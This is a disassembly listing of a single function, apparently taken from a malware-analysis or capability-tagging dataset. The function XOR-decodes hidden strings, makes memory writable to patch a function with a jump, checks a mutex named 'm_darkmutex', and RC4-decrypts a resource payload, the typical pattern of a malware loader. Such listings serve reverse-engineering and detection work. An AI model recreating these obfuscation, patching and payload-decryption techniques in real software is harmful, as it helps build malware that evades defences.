Function at 0x403220
Capabilities:
Allocate or change rwx memory
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor ecx, ecx
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + str.BTGEWIs1], al
inc ecx
cmp ecx, 0xa
jle 0x403235
xor ecx, ecx
nop
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + str.r_TSEWGEWIs1], al
inc ecx
cmp ecx, 0xc
jle 0x403250
xor ecx, ecx
nop dword [eax]
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + 0x407150], al
inc ecx
cmp ecx, 0x12
jle 0x403270
push ebx
push esi
push edi
mov edx, 1
mov esi, 2
mov edi, 3
mov ebx, 4
xor ecx, ecx
sub edx, str.b_KWTcWB_D_RW1
sub esi, str.b_KWTcWB_D_RW1
sub edi, str.b_KWTcWB_D_RW1
sub ebx, str.b_KWTcWB_D_RW1
nop dword [eax + eax]
mov eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + str.b_KWTcWB_D_RW1], al
lea eax, [edx + str.b_KWTcWB_D_RW1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407165], al
lea eax, [esi + str.b_KWTcWB_D_RW1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407166], al
lea eax, [edi + str.b_KWTcWB_D_RW1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407167], al
lea eax, [ebx + str.b_KWTcWB_D_RW1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407168], al
add ecx, 5
cmp ecx, 0xe
jle 0x4032c0
xor ecx, ecx
nop dword [eax]
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + str._PVcWB_D_RW1], al
inc ecx
cmp ecx, 0xc
jle 0x403340
mov edx, 1
xor ecx, ecx
sub edx, str.w__VcWB_D_RWp2
mov eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + str.w__VcWB_D_RWp2], al
lea eax, [edx + str.w__VcWB_D_RWp2]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070c1], al
add ecx, 2
cmp ecx, 0xd
jle 0x403364
xor ecx, ecx
nop dword [eax + eax]
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + str._RYcWB_D_RW1], al
inc ecx
cmp ecx, 0xc
jle 0x4033a0
push 5
push 0x40528c
push str.BTGEWIs1
lea ecx, [ebp - 0x22c]
call fcn.004014a0
push 5
push 0x40529c
push str.r_TSEWGEWIs1
lea ecx, [ebp - 0x228]
call fcn.004014a0
push 5
push 0x4052ac
push 0x407150
lea ecx, [ebp - 0x224]
call fcn.004015e0
push 2
push 0x4052bc
push str.b_KWTcWB_D_RW1
lea ecx, [ebp - 0x218]
call fcn.004015e0
push 2
push 0x4052cc
push str._PVcWB_D_RW1
lea ecx, [ebp - 0x214]
call fcn.004014a0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.w__VcWB_D_RWp2
push 0x401a70
call fcn.00401850
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 7
call fcn.00401c65
add esp, 4
mov dword [ebp - 0x20c], eax
lea ecx, [ebp - 0x230]
push ecx
push 0x40
push 7
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.w__VcWB_D_RWp2
push 0x4052dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x20c]
push 5
push str.kernel32.dll
mov dx, word [eax]
mov word [ecx], dx
mov ecx, dword [ebp - 0x20c]
add ecx, 2
mov dword [ebp - 0x20c], ecx
push str._RYcWB_D_RW1
mov byte [ecx], 0xe9
mov ecx, dword [ebp - 0x20c]
inc ecx
sub eax, ecx
mov dword [ebp - 0x20c], ecx
sub eax, 2
mov dword [ecx], eax
lea ecx, [ebp - 0x210]
sub dword [ebp - 0x20c], 3
call fcn.004014a0
push 0x405274
push 0
push 0x1f0001
lea eax, [ebp - 0x22c]
push 3
push eax
call fcn.00401550
add esp, 0x14
test eax, eax
jne 0x403712
push str.m_darkmutex
push eax
push eax
lea eax, [ebp - 0x228]
push 3
push eax
call fcn.00401550
add esp, 0x14
test eax, eax
je 0x403712
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
lea eax, [ebp - 0x224]
push 3
push eax
call fcn.00401690
push 0xa
push 0x96
push 0
lea eax, [ebp - 0x20c]
push 3
push eax
call fcn.004017c0
mov esi, eax
add esp, 0x28
test esi, esi
je 0x403712
push esi
push 0
lea eax, [ebp - 0x218]
push 2
push eax
call fcn.00401690
push esi
push 0
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x214]
push 2
push eax
call fcn.00401550
add esp, 0x20
test eax, eax
je 0x403712
push eax
lea eax, [ebp - 0x210]
push 1
push eax
call fcn.00401550
add esp, 0xc
mov dword [ebp - 0x220], eax
test eax, eax
je 0x403712
push 0xa
push 0x97
push 0
lea eax, [ebp - 0x20c]
push 3
push eax
call fcn.004017c0
mov esi, eax
add esp, 0x14
test esi, esi
je 0x403712
push esi
push 0
lea eax, [ebp - 0x218]
push 2
push eax
call fcn.00401690
push esi
push 0
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0x214]
push 2
push eax
call fcn.00401550
add esp, 0x20
test eax, eax
je 0x403712
push eax
lea eax, [ebp - 0x210]
push 1
push eax
call fcn.00401550
add esp, 0xc
mov dword [ebp - 0x230], eax
test eax, eax
je 0x403712
xor ecx, ecx
mov byte [ebp + ecx - 0x104], cl
inc ecx
cmp ecx, 0x100
jl 0x403621
xor edi, edi
xor esi, esi
xor edx, edx
mov bl, byte [ebp + esi - 0x104]
mov eax, esi
movzx ecx, bl
div dword [ebp - 0x234]
mov eax, dword [ebp - 0x230]
movzx eax, byte [edx + eax]
add edi, eax
add edi, ecx
and edi, 0x800000ff
jns 0x403667
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
inc esi
mov byte [ebp + edi - 0x104], bl
cmp esi, 0x100
jl 0x403635
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x21c], ebx
jbe 0x4036ff
inc esi
and esi, 0x800000ff
jns 0x4036a4
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [ebp + esi - 0x104]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x4036c0
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
mov byte [ebp + edi - 0x104], cl
movzx eax, byte [ebp + esi - 0x104]
mov ecx, dword [ebp - 0x220]
add eax, edx
movzx eax, al
movzx eax, byte [ebp + eax - 0x104]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, dword [ebp - 0x21c]
jb 0x403693
jmp 0x403705
mov ecx, dword [ebp - 0x220]
mov edx, ecx
lea ecx, [ebp - 0x208]
call fcn.00403d90
push 1
push dword [ebp - 0x210]
call fcn.00401c57
push 1
push dword [ebp - 0x20c]
call fcn.00401c57
push 1
push dword [ebp - 0x214]
call fcn.00401c57
push 1
push dword [ebp - 0x218]
call fcn.00401c57
push 1
push dword [ebp - 0x224]
call fcn.00401c57
push 1
push dword [ebp - 0x228]
call fcn.00401c57
push 1
push dword [ebp - 0x22c]
call fcn.00401c57
mov ecx, dword [ebp - 4]
add esp, 0x38
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.00401c44
mov esp, ebp
pop ebp
ret 0x10